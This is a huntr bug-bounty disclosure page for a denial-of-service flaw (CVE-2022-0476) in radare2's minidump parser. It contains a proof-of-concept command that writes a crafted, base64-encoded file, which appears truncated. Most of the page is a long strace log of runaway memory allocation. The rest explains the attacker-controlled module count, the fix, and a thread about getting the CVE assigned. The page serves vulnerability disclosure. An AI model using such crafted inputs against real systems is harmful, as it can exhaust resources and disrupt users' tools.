huntr

Denial of Service in radareorg/radare2

0

✓ Valid Reported on Feb 19th 2022

Description

A malformed mdmp file causes a DoS attack and leads to resource exhaustion.

Proof of Concept

```
printf "%s" "TURNUJOnkwAA9f8AIwAAAAAAAAAA4FJj5gADAAAAGwAAAAAEAAAAAAAAAAAAAA
strace r2 /tmp/a # This hangs and leads to resource exhaustion.
```

```
...
brk(0x55f4db48a000)                     = 0x55f4db48a000
brk(0x55f4db4ab000)                     = 0x55f4db4ab000
brk(0x55f4db4cc000)                     = 0x55f4db4cc000
brk(0x55f4db4ed000)                     = 0x55f4db4ed000
brk(0x55f4db50e000)                     = 0x55f4db50e000
brk(0x55f4db52f000)                     = 0x55f4db52f000
brk(0x55f4db550000)                     = 0x55f4db550000
brk(0x55f4db571000)                     = 0x55f4db571000
brk(0x55f4db592000)                     = 0x55f4db592000
brk(0x55f4db5b3000)                     = 0x55f4db5b3000
brk(0x55f4db5d4000)                     = 0x55f4db5d4000
brk(0x55f4db5f5000)                     = 0x55f4db5f5000
brk(0x55f4db616000)                     = 0x55f4db616000
brk(0x55f4db637000)                     = 0x55f4db637000
brk(0x55f4db658000)                     = 0x55f4db658000
brk(0x55f4db679000)                     = 0x55f4db679000
brk(0x55f4db69a000)                     = 0x55f4db69a000
brk(0x55f4db6bb000)                     = 0x55f4db6bb000
brk(0x55f4db6dc000)                     = 0x55f4db6dc000
```

Chat with us

```
brk(0x55f4db6fd000)                     = 0x55f4db6fd000
brk(0x55f4db71e000)                     = 0x55f4db71e000
brk(0x55f4db73f000)                     = 0x55f4db73f000
brk(0x55f4db760000)                     = 0x55f4db760000
brk(0x55f4db781000)                     = 0x55f4db781000
brk(0x55f4db7a2000)                     = 0x55f4db7a2000
brk(0x55f4db7c3000)                     = 0x55f4db7c3000
brk(0x55f4db7e4000)                     = 0x55f4db7e4000
brk(0x55f4db805000)                     = 0x55f4db805000
brk(0x55f4db826000)                     = 0x55f4db826000
brk(0x55f4db847000)                     = 0x55f4db847000
brk(0x55f4db868000)                     = 0x55f4db868000
brk(0x55f4db889000)                     = 0x55f4db889000
brk(0x55f4db8aa000)                     = 0x55f4db8aa000
brk(0x55f4db8cb000)                     = 0x55f4db8cb000
brk(0x55f4db8ec000)                     = 0x55f4db8ec000
brk(0x55f4db90d000)                     = 0x55f4db90d000
brk(0x55f4db92e000)                     = 0x55f4db92e000
brk(0x55f4db94f000)                     = 0x55f4db94f000
brk(0x55f4db970000)                     = 0x55f4db970000
brk(0x55f4db991000)                     = 0x55f4db991000
brk(0x55f4db9b2000)                     = 0x55f4db9b2000
brk(0x55f4db9d3000)                     = 0x55f4db9d3000
brk(0x55f4db9f4000)                     = 0x55f4db9f4000
brk(0x55f4dba15000)                     = 0x55f4dba15000
brk(0x55f4dba36000)                     = 0x55f4dba36000
brk(0x55f4dba57000)                     = 0x55f4dba57000
brk(0x55f4dba78000)                     = 0x55f4dba78000
brk(0x55f4dba99000)                     = 0x55f4dba99000
brk(0x55f4dbaba000)                     = 0x55f4dbaba000
brk(0x55f4dbadb000)                     = 0x55f4dbadb000
brk(0x55f4dbafc000)                     = 0x55f4dbafc000
brk(0x55f4dbb1d000)                     = 0x55f4dbb1d000
brk(0x55f4dbb3e000)                     = 0x55f4dbb3e000
brk(0x55f4dbb5f000)                     = 0x55f4dbb5f000
brk(0x55f4dbb80000)                     = 0x55f4dbb80000
brk(0x55f4dbba1000)                     = 0x55f4dbba1000
brk(0x55f4dbbc2000)                     = 0x55f4dbbc2000
brk(0x55f4dbbe3000)                     = 0x55f4dbbe3000
brk(0x55f4dbc04000)                     = 0x55f4dbc04000
brk(0x55f4dbc25000)                     = 0x55f4dbc25000
brk(0x55f4dbc25000)                     = 0x55f4dbc25000
brk(0x55f4dbc46000)                     = 0x55f4dbc46000
brk(0x55f4dbc67000)                     = 0x55f4dbc67000

brk(0x55f4dbc88000)                     = 0x55f4dbc88000
brk(0x55f4dbca9000)                     = 0x55f4dbca9000
brk(0x55f4dbcca000)                     = 0x55f4dbcca000
brk(0x55f4dbceb000)                     = 0x55f4dbceb000
brk(0x55f4dbd0c000)                     = 0x55f4dbd0c000
brk(0x55f4dbd2d000)                     = 0x55f4dbd2d000
brk(0x55f4dbd4e000)                     = 0x55f4dbd4e000
brk(0x55f4dbd6f000)                     = 0x55f4dbd6f000
brk(0x55f4dbd90000)                     = 0x55f4dbd90000
brk(0x55f4dbdb1000)                     = 0x55f4dbdb1000
brk(0x55f4dbdd2000)                     = 0x55f4dbdd2000
brk(0x55f4dbdf3000)                     = 0x55f4dbdf3000
brk(0x55f4dbe14000)                     = 0x55f4dbe14000
brk(0x55f4dbe35000)                     = 0x55f4dbe35000
brk(0x55f4dbe56000)                     = 0x55f4dbe56000
brk(0x55f4dbe77000)                     = 0x55f4dbe77000
brk(0x55f4dbe98000)                     = 0x55f4dbe98000
brk(0x55f4dbeb9000)                     = 0x55f4dbeb9000
brk(0x55f4dbeda000)                     = 0x55f4dbeda000
brk(0x55f4dbefb000)                     = 0x55f4dbefb000
brk(0x55f4dbf1c000)                     = 0x55f4dbf1c000
brk(0x55f4dbf3d000)                     = 0x55f4dbf3d000
brk(0x55f4dbf5e000)                     = 0x55f4dbf5e000
brk(0x55f4dbf7f000)                     = 0x55f4dbf7f000
brk(0x55f4dbfa0000)                     = 0x55f4dbfa0000
brk(0x55f4dbfc1000)                     = 0x55f4dbfc1000
brk(0x55f4dbfe2000)                     = 0x55f4dbfe2000
brk(0x55f4dc003000)                     = 0x55f4dc003000
brk(0x55f4dc024000)                     = 0x55f4dc024000
brk(0x55f4dc045000)                     = 0x55f4dc045000
brk(0x55f4dc066000)                     = 0x55f4dc066000
brk(0x55f4dc087000)                     = 0x55f4dc087000
brk(0x55f4dc0a8000)                     = 0x55f4dc0a8000
brk(0x55f4dc0c9000)                     = 0x55f4dc0c9000
brk(0x55f4dc0ea000)                     = 0x55f4dc0ea000
brk(0x55f4dc10b000)                     = 0x55f4dc10b000
brk(0x55f4dc12c000)                     = 0x55f4dc12c000
brk(0x55f4dc14d000)                     = 0x55f4dc14d000
brk(0x55f4dc16e000)                     = 0x55f4dc16e000
brk(0x55f4dc18f000)                     = 0x55f4dc18f000

brk(0x55f4dc1b0000)                     = 0x55f4dc1b0000
brk(0x55f4dc1d1000)                     = 0x55f4dc1d1000
brk(0x55f4dc1f2000)                     = 0x55f4dc1f2000
brk(0x55f4dc213000)                     = 0x55f4dc213000
brk(0x55f4dc234000)                     = 0x55f4dc234000
brk(0x55f4dc255000)                     = 0x55f4dc255000
brk(0x55f4dc276000)                     = 0x55f4dc276000
brk(0x55f4dc297000)                     = 0x55f4dc297000
brk(0x55f4dc2b8000)                     = 0x55f4dc2b8000
brk(0x55f4dc2d9000)                     = 0x55f4dc2d9000
brk(0x55f4dc2fa000)                     = 0x55f4dc2fa000
brk(0x55f4dc31b000)                     = 0x55f4dc31b000
brk(0x55f4dc33c000)                     = 0x55f4dc33c000
brk(0x55f4dc35d000)                     = 0x55f4dc35d000
brk(0x55f4dc37e000)                     = 0x55f4dc37e000
brk(0x55f4dc39f000)                     = 0x55f4dc39f000
brk(0x55f4dc3c0000)                     = 0x55f4dc3c0000
brk(0x55f4dc3e1000)                     = 0x55f4dc3e1000
brk(0x55f4dc402000)                     = 0x55f4dc402000
brk(0x55f4dc423000)                     = 0x55f4dc423000
brk(0x55f4dc444000)                     = 0x55f4dc444000
brk(0x55f4dc465000)                     = 0x55f4dc465000
brk(0x55f4dc486000)                     = 0x55f4dc486000
brk(0x55f4dc4a7000)                     = 0x55f4dc4a7000
brk(0x55f4dc4c8000)                     = 0x55f4dc4c8000
brk(0x55f4dc4e9000)                     = 0x55f4dc4e9000
brk(0x55f4dc50a000)                     = 0x55f4dc50a000
brk(0x55f4dc52b000)                     = 0x55f4dc52b000
brk(0x55f4dc54c000)                     = 0x55f4dc54c000
brk(0x55f4dc56d000)                     = 0x55f4dc56d000
brk(0x55f4dc58e000)                     = 0x55f4dc58e000
brk(0x55f4dc5af000)                     = 0x55f4dc5af000
brk(0x55f4dc5d0000)                     = 0x55f4dc5d0000
brk(0x55f4dc5f1000)                     = 0x55f4dc5f1000
brk(0x55f4dc612000)                     = 0x55f4dc612000
brk(0x55f4dc633000)                     = 0x55f4dc633000
brk(0x55f4dc654000)                     = 0x55f4dc654000
brk(0x55f4dc675000)                     = 0x55f4dc675000
brk(0x55f4dc675000)                     = 0x55f4dc675000
brk(0x55f4dc696000)                     = 0x55f4dc696000
brk(0x55f4dc6b7000)                     = 0x55f4dc6b7000

brk(0x55f4dc6d8000)                     = 0x55f4dc6d8000
brk(0x55f4dc6f9000)                     = 0x55f4dc6f9000
brk(0x55f4dc71a000)                     = 0x55f4dc71a000
brk(0x55f4dc73b000)                     = 0x55f4dc73b000
brk(0x55f4dc75c000)                     = 0x55f4dc75c000
brk(0x55f4dc77d000)                     = 0x55f4dc77d000
brk(0x55f4dc79e000)                     = 0x55f4dc79e000
brk(0x55f4dc7bf000)                     = 0x55f4dc7bf000
brk(0x55f4dc7e0000)                     = 0x55f4dc7e0000
brk(0x55f4dc801000)                     = 0x55f4dc801000
brk(0x55f4dc822000)                     = 0x55f4dc822000
brk(0x55f4dc843000)                     = 0x55f4dc843000
brk(0x55f4dc864000)                     = 0x55f4dc864000
brk(0x55f4dc885000)                     = 0x55f4dc885000
brk(0x55f4dc8a6000)                     = 0x55f4dc8a6000
brk(0x55f4dc8c7000)                     = 0x55f4dc8c7000
brk(0x55f4dc8e8000)                     = 0x55f4dc8e8000
brk(0x55f4dc909000)                     = 0x55f4dc909000
brk(0x55f4dc92a000)                     = 0x55f4dc92a000
brk(0x55f4dc94b000)                     = 0x55f4dc94b000
brk(0x55f4dc96c000)                     = 0x55f4dc96c000
brk(0x55f4dc98d000)                     = 0x55f4dc98d000
brk(0x55f4dc9ae000)                     = 0x55f4dc9ae000
brk(0x55f4dc9cf000)                     = 0x55f4dc9cf000
brk(0x55f4dc9f0000)                     = 0x55f4dc9f0000
brk(0x55f4dca11000)                     = 0x55f4dca11000
brk(0x55f4dca32000)                     = 0x55f4dca32000
brk(0x55f4dca53000)                     = 0x55f4dca53000
brk(0x55f4dca74000)                     = 0x55f4dca74000
brk(0x55f4dca95000)                     = 0x55f4dca95000
brk(0x55f4dcab6000)                     = 0x55f4dcab6000
brk(0x55f4dcad7000)                     = 0x55f4dcad7000
brk(0x55f4dcaf8000)                     = 0x55f4dcaf8000
brk(0x55f4dcb19000)                     = 0x55f4dcb19000
brk(0x55f4dcb3a000)                     = 0x55f4dcb3a000
brk(0x55f4dcb5b000)                     = 0x55f4dcb5b000
brk(0x55f4dcb7c000)                     = 0x55f4dcb7c000
brk(0x55f4dcb9d000)                     = 0x55f4dcb9d000
brk(0x55f4dcb9d000)                     = 0x55f4dcb9d000
brk(0x55f4dcbbe000)                     = 0x55f4dcbbe000
brk(0x55f4dcbdf000)                     = 0x55f4dcbdf000

brk(0x55f4dcc00000)                     = 0x55f4dcc00000
brk(0x55f4dcc21000)                     = 0x55f4dcc21000
brk(0x55f4dcc42000)                     = 0x55f4dcc42000
brk(0x55f4dcc63000)                     = 0x55f4dcc63000
brk(0x55f4dcc84000)                     = 0x55f4dcc84000
...
```

Impact

This vulnerability is capable of DoS attack.

Occurrences

C mdmp.c L481

In the test case above, `module_list.number_of_modules` is 1347241037 while `sizeof(struct minidump_module)` is 108 and this means 135GB memory will be allocated, which leads to a DoS attack (note `module_list.number_of_modules` is controlled by attacker).

CVE
CVE-2022-0476
(Published)

Vulnerability Type
CWE-400: Denial of Service

Severity
High (7.3)

Visibility
Public

Status
Fixed

Chat with us

Found by

lazymio

@wtdcode

maintainer

Fixed by

pancake

@trufae

maintainer

This report was seen 426 times.

We are processing your report and will contact the **radareorg/radare2** team within 24 hours. 9 months ago

lazymio modified the report 9 months ago

pancake validated this vulnerability 9 months ago

lazymio has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

pancake 9 months ago Maintainer

Fixed in https://github.com/radareorg/radare2/pull/19744

pancake marked this as fixed in **5.6.4** with commit **27fe80** 9 months ago

pancake has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

mdmp.c#L481 has been validated ✓

lazymio 9 months ago Researcher

@admin Can I have a CVE for this report?

Chat with us

Jamie Slome 9 months ago Admin

Hello @lazymio - unfortunately, we do not assign CVEs for Denial of Service CWE types.

lazymio 9 months ago Researcher

@admin Hello, it is similar to https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3673 and should deserve a CVE I think.

lazymio 9 months ago Researcher

@pancake Would you like to have a CVE for this report?

pancake 9 months ago Maintainer

Yep, sounds legit, this is a real issue so it deserves a CVE. Could @admin move forward this petition? Thanks

Jamie Slome 9 months ago Admin

CVE published! 🎉

Sign in to join this conversation